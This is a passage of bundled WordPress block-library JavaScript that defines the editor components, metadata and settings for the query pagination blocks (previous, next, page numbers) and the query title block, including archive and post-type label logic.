44428 __nextHasNoMarginBottom: true,
44429 label: (0,external_wp_i18n_namespaceObject.__)("Show label text"),
44430 help: (0,external_wp_i18n_namespaceObject.__)('Make label text visible, e.g. "Next Page".'),
44431 onChange,
44432 checked: value === true
44433 }
44434 );
44435}
44436
44437
44438;// ./node_modules/@wordpress/block-library/build-module/query-pagination/edit.js
44439
44440
44441
44442
44443
44444
44445
44446
44447
44448const query_pagination_edit_TEMPLATE = [
44449 ["core/query-pagination-previous"],
44450 ["core/query-pagination-numbers"],
44451 ["core/query-pagination-next"]
44452];
44453function edit_QueryPaginationEdit({
44454 attributes: { paginationArrow, showLabel },
44455 setAttributes,
44456 clientId
44457}) {
44458 const hasNextPreviousBlocks = (0,external_wp_data_namespaceObject.useSelect)(
44459 (select) => {
44460 const { getBlocks } = select(external_wp_blockEditor_namespaceObject.store);
44461 const innerBlocks = getBlocks(clientId);
44462 return innerBlocks?.find((innerBlock) => {
44463 return [
44464 "core/query-pagination-next",
44465 "core/query-pagination-previous"
44466 ].includes(innerBlock.name);
44467 });
44468 },
44469 [clientId]
44470 );
44471 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
44472 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
44473 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
44474 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
44475 template: query_pagination_edit_TEMPLATE
44476 });
44477 (0,external_wp_element_namespaceObject.useEffect)(() => {
44478 if (paginationArrow === "none" && !showLabel) {
44479 __unstableMarkNextChangeAsNotPersistent();
44480 setAttributes({ showLabel: true });
44481 }
44482 }, [
44483 paginationArrow,
44484 setAttributes,
44485 showLabel,
44486 __unstableMarkNextChangeAsNotPersistent
44487 ]);
44488 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44489 hasNextPreviousBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44490 external_wp_components_namespaceObject.__experimentalToolsPanel,
44491 {
44492 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
44493 resetAll: () => {
44494 setAttributes({
44495 paginationArrow: "none",
44496 showLabel: true
44497 });
44498 },
44499 dropdownMenuProps,
44500 children: [
44501 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44502 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
44503 {
44504 hasValue: () => paginationArrow !== "none",
44505 label: (0,external_wp_i18n_namespaceObject.__)("Pagination arrow"),
44506 onDeselect: () => setAttributes({ paginationArrow: "none" }),
44507 isShownByDefault: true,
44508 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44509 QueryPaginationArrowControls,
44510 {
44511 value: paginationArrow,
44512 onChange: (value) => {
44513 setAttributes({ paginationArrow: value });
44514 }
44515 }
44516 )
44517 }
44518 ),
44519 paginationArrow !== "none" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44520 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
44521 {
44522 hasValue: () => !showLabel,
44523 label: (0,external_wp_i18n_namespaceObject.__)("Show text"),
44524 onDeselect: () => setAttributes({ showLabel: true }),
44525 isShownByDefault: true,
44526 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44527 QueryPaginationLabelControl,
44528 {
44529 value: showLabel,
44530 onChange: (value) => {
44531 setAttributes({ showLabel: value });
44532 }
44533 }
44534 )
44535 }
44536 )
44537 ]
44538 }
44539 ) }),
44540 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("nav", { ...innerBlocksProps })
44541 ] });
44542}
44543
44544
44545;// ./node_modules/@wordpress/block-library/build-module/query-pagination/save.js
44546
44547
44548function query_pagination_save_save() {
44549 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
44550}
44551
44552
44553;// ./node_modules/@wordpress/block-library/build-module/query-pagination/deprecated.js
44554
44555
44556const query_pagination_deprecated_deprecated = [
44557 // Version with wrapper `div` element.
44558 {
44559 save() {
44560 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
44561 }
44562 }
44563];
44564var query_pagination_deprecated_deprecated_default = query_pagination_deprecated_deprecated;
44565
44566
44567;// ./node_modules/@wordpress/block-library/build-module/query-pagination/index.js
44568
44569
44570
44571
44572
44573
44574const { name: query_pagination_name } = query_pagination_block_namespaceObject;
44575const query_pagination_settings = {
44576 icon: query_pagination_default,
44577 edit: edit_QueryPaginationEdit,
44578 save: query_pagination_save_save,
44579 deprecated: query_pagination_deprecated_deprecated_default
44580};
44581const query_pagination_init = () => initBlock({ name: query_pagination_name, metadata: query_pagination_block_namespaceObject, settings: query_pagination_settings });
44582
44583
44584;// ./node_modules/@wordpress/block-library/build-module/query-pagination-next/block.json
44585const query_pagination_next_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-pagination-next","title":"Next Page","category":"theme","parent":["core/query-pagination"],"description":"Displays the next posts page link.","textdomain":"default","attributes":{"label":{"type":"string"}},"usesContext":["queryId","query","paginationArrow","showLabel","enhancedPagination"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
44586;// ./node_modules/@wordpress/block-library/build-module/query-pagination-next/edit.js
44587
44588
44589
44590const query_pagination_next_edit_arrowMap = {
44591 none: "",
44592 arrow: "\u2192",
44593 chevron: "\xBB"
44594};
44595function QueryPaginationNextEdit({
44596 attributes: { label },
44597 setAttributes,
44598 context: { paginationArrow, showLabel }
44599}) {
44600 const displayArrow = query_pagination_next_edit_arrowMap[paginationArrow];
44601 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44602 "a",
44603 {
44604 href: "#pagination-next-pseudo-link",
44605 onClick: (event) => event.preventDefault(),
44606 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(),
44607 children: [
44608 showLabel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44609 external_wp_blockEditor_namespaceObject.PlainText,
44610 {
44611 __experimentalVersion: 2,
44612 tagName: "span",
44613 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Next page link"),
44614 placeholder: (0,external_wp_i18n_namespaceObject.__)("Next Page"),
44615 value: label,
44616 onChange: (newLabel) => setAttributes({ label: newLabel })
44617 }
44618 ),
44619 displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44620 "span",
44621 {
44622 className: `wp-block-query-pagination-next-arrow is-arrow-${paginationArrow}`,
44623 "aria-hidden": true,
44624 children: displayArrow
44625 }
44626 )
44627 ]
44628 }
44629 );
44630}
44631
44632
44633;// ./node_modules/@wordpress/block-library/build-module/query-pagination-next/index.js
44634
44635
44636
44637
44638const { name: query_pagination_next_name } = query_pagination_next_block_namespaceObject;
44639const query_pagination_next_settings = {
44640 icon: query_pagination_next_default,
44641 edit: QueryPaginationNextEdit
44642};
44643const query_pagination_next_init = () => initBlock({ name: query_pagination_next_name, metadata: query_pagination_next_block_namespaceObject, settings: query_pagination_next_settings });
44644
44645
44646;// ./node_modules/@wordpress/block-library/build-module/query-pagination-numbers/block.json
44647const query_pagination_numbers_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-pagination-numbers","title":"Page Numbers","category":"theme","parent":["core/query-pagination"],"description":"Displays a list of page numbers for pagination.","textdomain":"default","attributes":{"midSize":{"type":"number","default":2}},"usesContext":["queryId","query","enhancedPagination"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-query-pagination-numbers-editor"}');
44648;// ./node_modules/@wordpress/block-library/build-module/query-pagination-numbers/edit.js
44649
44650
44651
44652
44653
44654const createPaginationItem = (content, Tag = "a", extraClass = "") => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { className: `page-numbers ${extraClass}`, children: content }, content);
44655const previewPaginationNumbers = (midSize) => {
44656 const paginationItems = [];
44657 for (let i = 1; i <= midSize; i++) {
44658 paginationItems.push(createPaginationItem(i));
44659 }
44660 paginationItems.push(
44661 createPaginationItem(midSize + 1, "span", "current")
44662 );
44663 for (let i = 1; i <= midSize; i++) {
44664 paginationItems.push(createPaginationItem(midSize + 1 + i));
44665 }
44666 paginationItems.push(createPaginationItem("...", "span", "dots"));
44667 paginationItems.push(createPaginationItem(midSize * 2 + 3));
44668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: paginationItems });
44669};
44670function QueryPaginationNumbersEdit({
44671 attributes,
44672 setAttributes
44673}) {
44674 const { midSize } = attributes;
44675 const paginationNumbers = previewPaginationNumbers(
44676 parseInt(midSize, 10)
44677 );
44678 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
44679 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44680 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44681 external_wp_components_namespaceObject.__experimentalToolsPanel,
44682 {
44683 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
44684 resetAll: () => setAttributes({ midSize: 2 }),
44685 dropdownMenuProps,
44686 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44687 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
44688 {
44689 label: (0,external_wp_i18n_namespaceObject.__)("Number of links"),
44690 hasValue: () => midSize !== 2,
44691 onDeselect: () => setAttributes({ midSize: 2 }),
44692 isShownByDefault: true,
44693 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44694 external_wp_components_namespaceObject.RangeControl,
44695 {
44696 __next40pxDefaultSize: true,
44697 __nextHasNoMarginBottom: true,
44698 label: (0,external_wp_i18n_namespaceObject.__)("Number of links"),
44699 help: (0,external_wp_i18n_namespaceObject.__)(
44700 "Specify how many links can appear before and after the current page number. Links to the first, current and last page are always visible."
44701 ),
44702 value: midSize,
44703 onChange: (value) => {
44704 setAttributes({
44705 midSize: parseInt(value, 10)
44706 });
44707 },
44708 min: 0,
44709 max: 5,
44710 withInputField: false
44711 }
44712 )
44713 }
44714 )
44715 }
44716 ) }),
44717 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: paginationNumbers })
44718 ] });
44719}
44720
44721
44722;// ./node_modules/@wordpress/block-library/build-module/query-pagination-numbers/index.js
44723
44724
44725
44726
44727const { name: query_pagination_numbers_name } = query_pagination_numbers_block_namespaceObject;
44728const query_pagination_numbers_settings = {
44729 icon: query_pagination_numbers_default,
44730 edit: QueryPaginationNumbersEdit,
44731 example: {}
44732};
44733const query_pagination_numbers_init = () => initBlock({ name: query_pagination_numbers_name, metadata: query_pagination_numbers_block_namespaceObject, settings: query_pagination_numbers_settings });
44734
44735
44736;// ./node_modules/@wordpress/block-library/build-module/query-pagination-previous/block.json
44737const query_pagination_previous_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-pagination-previous","title":"Previous Page","category":"theme","parent":["core/query-pagination"],"description":"Displays the previous posts page link.","textdomain":"default","attributes":{"label":{"type":"string"}},"usesContext":["queryId","query","paginationArrow","showLabel","enhancedPagination"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
44738;// ./node_modules/@wordpress/block-library/build-module/query-pagination-previous/edit.js
44739
44740
44741
44742const query_pagination_previous_edit_arrowMap = {
44743 none: "",
44744 arrow: "\u2190",
44745 chevron: "\xAB"
44746};
44747function QueryPaginationPreviousEdit({
44748 attributes: { label },
44749 setAttributes,
44750 context: { paginationArrow, showLabel }
44751}) {
44752 const displayArrow = query_pagination_previous_edit_arrowMap[paginationArrow];
44753 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44754 "a",
44755 {
44756 href: "#pagination-previous-pseudo-link",
44757 onClick: (event) => event.preventDefault(),
44758 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(),
44759 children: [
44760 displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44761 "span",
44762 {
44763 className: `wp-block-query-pagination-previous-arrow is-arrow-${paginationArrow}`,
44764 "aria-hidden": true,
44765 children: displayArrow
44766 }
44767 ),
44768 showLabel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44769 external_wp_blockEditor_namespaceObject.PlainText,
44770 {
44771 __experimentalVersion: 2,
44772 tagName: "span",
44773 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Previous page link"),
44774 placeholder: (0,external_wp_i18n_namespaceObject.__)("Previous Page"),
44775 value: label,
44776 onChange: (newLabel) => setAttributes({ label: newLabel })
44777 }
44778 )
44779 ]
44780 }
44781 );
44782}
44783
44784
44785;// ./node_modules/@wordpress/block-library/build-module/query-pagination-previous/index.js
44786
44787
44788
44789
44790const { name: query_pagination_previous_name } = query_pagination_previous_block_namespaceObject;
44791const query_pagination_previous_settings = {
44792 icon: query_pagination_previous_default,
44793 edit: QueryPaginationPreviousEdit
44794};
44795const query_pagination_previous_init = () => initBlock({ name: query_pagination_previous_name, metadata: query_pagination_previous_block_namespaceObject, settings: query_pagination_previous_settings });
44796
44797
44798;// ./node_modules/@wordpress/block-library/build-module/query-title/block.json
44799const query_title_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-title","title":"Query Title","category":"theme","description":"Display the query title.","textdomain":"default","attributes":{"type":{"type":"string"},"textAlign":{"type":"string"},"level":{"type":"number","default":1},"levelOptions":{"type":"array"},"showPrefix":{"type":"boolean","default":true},"showSearchTerm":{"type":"boolean","default":true}},"example":{"attributes":{"type":"search"}},"usesContext":["query"],"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-query-title"}');
44800;// ./node_modules/@wordpress/block-library/build-module/query-title/use-archive-label.js
44801
44802
44803function useArchiveLabel() {
44804 const templateSlug = (0,external_wp_data_namespaceObject.useSelect)((select) => {
44805 const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select("core/editor");
44806 const currentPostType = getCurrentPostType();
44807 const templateId = getCurrentTemplateId() || (currentPostType === "wp_template" ? getCurrentPostId() : null);
44808 return templateId ? select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
44809 "postType",
44810 "wp_template",
44811 templateId
44812 )?.slug : null;
44813 }, []);
44814 const taxonomyMatches = templateSlug?.match(
44815 /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
44816 );
44817 let taxonomy;
44818 let term;
44819 let isAuthor = false;
44820 let authorSlug;
44821 if (taxonomyMatches) {
44822 if (taxonomyMatches[1]) {
44823 taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
44824 } else if (taxonomyMatches[3]) {
44825 taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
44826 term = taxonomyMatches[7];
44827 }
44828 taxonomy = taxonomy === "tag" ? "post_tag" : taxonomy;
44829 } else {
44830 const authorMatches = templateSlug?.match(/^(author)$|^author-(.+)$/);
44831 if (authorMatches) {
44832 isAuthor = true;
44833 if (authorMatches[2]) {
44834 authorSlug = authorMatches[2];
44835 }
44836 }
44837 }
44838 return (0,external_wp_data_namespaceObject.useSelect)(
44839 (select) => {
44840 const { getEntityRecords, getTaxonomy, getAuthors } = select(external_wp_coreData_namespaceObject.store);
44841 let archiveTypeLabel;
44842 let archiveNameLabel;
44843 if (taxonomy) {
44844 archiveTypeLabel = getTaxonomy(taxonomy)?.labels?.singular_name;
44845 }
44846 if (term) {
44847 const records = getEntityRecords("taxonomy", taxonomy, {
44848 slug: term,
44849 per_page: 1
44850 });
44851 if (records && records[0]) {
44852 archiveNameLabel = records[0].name;
44853 }
44854 }
44855 if (isAuthor) {
44856 archiveTypeLabel = "Author";
44857 if (authorSlug) {
44858 const authorRecords = getAuthors({ slug: authorSlug });
44859 if (authorRecords && authorRecords[0]) {
44860 archiveNameLabel = authorRecords[0].name;
44861 }
44862 }
44863 }
44864 return {
44865 archiveTypeLabel,
44866 archiveNameLabel
44867 };
44868 },
44869 [authorSlug, isAuthor, taxonomy, term]
44870 );
44871}
44872
44873
44874;// ./node_modules/@wordpress/block-library/build-module/query-title/use-post-type-label.js
44875
44876
44877function usePostTypeLabel(contextPostType) {
44878 const currentPostType = (0,external_wp_data_namespaceObject.useSelect)((select) => {
44879 const { getCurrentPostType } = select("core/editor");
44880 return getCurrentPostType();
44881 }, []);
44882 return (0,external_wp_data_namespaceObject.useSelect)(
44883 (select) => {
44884 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
44885 const postTypeSlug = contextPostType || currentPostType;
44886 const postType = getPostType(postTypeSlug);
44887 return {
44888 postTypeLabel: postType ? postType.labels.singular_name : ""
44889 };
44890 },
44891 [contextPostType, currentPostType]
44892 );
44893}
44894
44895
44896;// ./node_modules/@wordpress/block-library/build-module/query-title/edit.js
44897
44898
44899
44900
44901
44902
44903
44904
44905const SUPPORTED_TYPES = ["archive", "search", "post-type"];
44906function QueryTitleEdit({
44907 attributes: {
44908 type,
44909 level,
44910 levelOptions,
44911 textAlign,
44912 showPrefix,
44913 showSearchTerm
44914 },
44915 setAttributes,
44916 context: { query }
44917}) {
44918 const { archiveTypeLabel, archiveNameLabel } = useArchiveLabel();
44919 const { postTypeLabel } = usePostTypeLabel(query?.postType);
44920 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
44921 const TagName = level === 0 ? "p" : `h${level}`;
44922 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
44923 className: dist_clsx("wp-block-query-title__placeholder", {
44924 [`has-text-align-${textAlign}`]: textAlign
44925 })
44926 });
44927 if (!SUPPORTED_TYPES.includes(type)) {
44928 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Provided type is not supported.") }) });
44929 }
44930 let titleElement;
44931 if (type === "archive") {
44932 let title;
44933 if (archiveTypeLabel) {
44934 if (showPrefix) {
44935 if (archiveNameLabel) {
44936 title = (0,external_wp_i18n_namespaceObject.sprintf)(
44937 /* translators: 1: Archive type title e.g: "Category", 2: Label of the archive e.g: "Shoes" */
44938 (0,external_wp_i18n_namespaceObject._x)("%1$s: %2$s", "archive label"),
44939 archiveTypeLabel,
44940 archiveNameLabel
44941 );
44942 } else {
44943 title = (0,external_wp_i18n_namespaceObject.sprintf)(
44944 /* translators: %s: Archive type title e.g: "Category", "Tag"... */
44945 (0,external_wp_i18n_namespaceObject.__)("%s: Name"),
44946 archiveTypeLabel
44947 );
44948 }
44949 } else if (archiveNameLabel) {
44950 title = archiveNameLabel;
44951 } else {
44952 title = (0,external_wp_i18n_namespaceObject.sprintf)(
44953 /* translators: %s: Archive type title e.g: "Category", "Tag"... */
44954 (0,external_wp_i18n_namespaceObject.__)("%s name"),
44955 archiveTypeLabel
44956 );
44957 }
44958 } else {
44959 title = showPrefix ? (0,external_wp_i18n_namespaceObject.__)("Archive type: Name") : (0,external_wp_i18n_namespaceObject.__)("Archive title");
44960 }
44961 titleElement = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44962 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44963 external_wp_components_namespaceObject.__experimentalToolsPanel,
44964 {
44965 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
44966 resetAll: () => setAttributes({
44967 showPrefix: true
44968 }),
44969 dropdownMenuProps,
44970 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44971 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
44972 {
44973 hasValue: () => !showPrefix,
44974 label: (0,external_wp_i18n_namespaceObject.__)("Show archive type in title"),
44975 onDeselect: () => setAttributes({ showPrefix: true }),
44976 isShownByDefault: true,
44977 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44978 external_wp_components_namespaceObject.ToggleControl,
44979 {
44980 __nextHasNoMarginBottom: true,
44981 label: (0,external_wp_i18n_namespaceObject.__)("Show archive type in title"),
44982 onChange: () => setAttributes({
44983 showPrefix: !showPrefix
44984 }),
44985 checked: showPrefix
44986 }
44987 )
44988 }
44989 )
44990 }
44991 ) }),
44992 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: title })
44993 ] });
44994 }
44995 if (type === "search") {
44996 titleElement = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
44997 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44998 external_wp_components_namespaceObject.__experimentalToolsPanel,
44999 {
45000 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
45001 resetAll: () => setAttributes({
45002 showSearchTerm: true
45003 }),
45004 dropdownMenuProps,
45005 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45006 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
45007 {
45008 hasValue: () => !showSearchTerm,
45009 label: (0,external_wp_i18n_namespaceObject.__)("Show search term in title"),
45010 onDeselect: () => setAttributes({ showSearchTerm: true }),
45011 isShownByDefault: true,
45012 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45013 external_wp_components_namespaceObject.ToggleControl,
45014 {
45015 __nextHasNoMarginBottom: true,
45016 label: (0,external_wp_i18n_namespaceObject.__)("Show search term in title"),
45017 onChange: () => setAttributes({
45018 showSearchTerm: !showSearchTerm
45019 }),
45020 checked: showSearchTerm
45021 }
45022 )
45023 }
45024 )
45025 }
45026 ) }),
45027 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: showSearchTerm ? (0,external_wp_i18n_namespaceObject.__)("Search results for: \u201Csearch term\u201D") : (0,external_wp_i18n_namespaceObject.__)("Search results") })
45028 ] });
45029 }
45030 if (type === "post-type") {
45031 let title;
45032 if (postTypeLabel) {
45033 if (showPrefix) {
45034 title = (0,external_wp_i18n_namespaceObject.sprintf)(
45035 /* translators: %s: Singular post type name of the queried object */
45036 (0,external_wp_i18n_namespaceObject.__)('Post Type: "%s"'),
45037 postTypeLabel
45038 );
45039 } else {
45040 title = postTypeLabel;
45041 }
45042 } else {
45043 title = showPrefix ? (0,external_wp_i18n_namespaceObject.__)("Post Type: Name") : (0,external_wp_i18n_namespaceObject.__)("Name");
45044 }
45045 titleElement = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45046 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45047 external_wp_components_namespaceObject.__experimentalToolsPanel,
45048 {
45049 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
45050 resetAll: () => setAttributes({
45051 showPrefix: true
45052 }),
45053 dropdownMenuProps,
45054 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45055 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
45056 {
45057 hasValue: () => !showPrefix,
45058 label: (0,external_wp_i18n_namespaceObject.__)("Show post type label"),
45059 onDeselect: () => setAttributes({ showPrefix: true }),
45060 isShownByDefault: true,
45061 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45062 external_wp_components_namespaceObject.ToggleControl,
45063 {
45064 __nextHasNoMarginBottom: true,
45065 label: (0,external_wp_i18n_namespaceObject.__)("Show post type label"),
45066 onChange: () => setAttributes({
45067 showPrefix: !showPrefix
45068 }),
45069 checked: showPrefix
45070 }
45071 )
45072 }
45073 )
45074 }
45075 ) }),
45076 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: title })
45077 ] });
45078 }
45079 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45080 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
45081 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45082 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
45083 {
45084 value: level,
45085 options: levelOptions,
45086 onChange: (newLevel) => setAttributes({ level: newLevel })
45087 }
45088 ),
45089 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45090 external_wp_blockEditor_namespaceObject.AlignmentControl,
45091 {
45092 value: textAlign,
45093 onChange: (nextAlign) => {
45094 setAttributes({ textAlign: nextAlign });
45095 }
45096 }
45097 )
45098 ] }),
45099 titleElement
45100 ] });
45101}
45102
45103
45104;// ./node_modules/@wordpress/block-library/build-module/query-title/variations.js
45105
45106
45107const query_title_variations_variations = [
45108 {
45109 isDefault: true,
45110 name: "archive-title",
45111 title: (0,external_wp_i18n_namespaceObject.__)("Archive Title"),
45112 description: (0,external_wp_i18n_namespaceObject.__)(
45113 "Display the archive title based on the queried object."
45114 ),
45115 icon: title_default,
45116 attributes: {
45117 type: "archive"
45118 },
45119 scope: ["inserter"]
45120 },
45121 {
45122 isDefault: false,
45123 name: "search-title",
45124 title: (0,external_wp_i18n_namespaceObject.__)("Search Results Title"),
45125 description: (0,external_wp_i18n_namespaceObject.__)(
45126 "Display the search results title based on the queried object."
45127 ),
45128 icon: title_default,
45129 attributes: {
45130 type: "search"
45131 },
45132 scope: ["inserter"]
45133 },
45134 {
45135 isDefault: false,
45136 name: "post-type-label",
45137 title: (0,external_wp_i18n_namespaceObject.__)("Post Type Label"),
45138 description: (0,external_wp_i18n_namespaceObject.__)(
45139 "Display the post type label based on the queried object."
45140 ),
45141 icon: title_default,
45142 attributes: {
45143 type: "post-type"
45144 },
45145 scope: ["inserter"]
45146 }
45147];
45148query_title_variations_variations.forEach((variation) => {
45149 if (variation.isActive) {
45150 return;
45151 }
45152 variation.isActive = (blockAttributes, variationAttributes) => blockAttributes.type === variationAttributes.type;
45153});
45154var query_title_variations_variations_default = query_title_variations_variations;
45155
45156
45157;// ./node_modules/@wordpress/block-library/build-module/query-title/deprecated.js
45158
45159const query_title_deprecated_v1 = {
45160 attributes: {
45161 type: {
45162 type: "string"
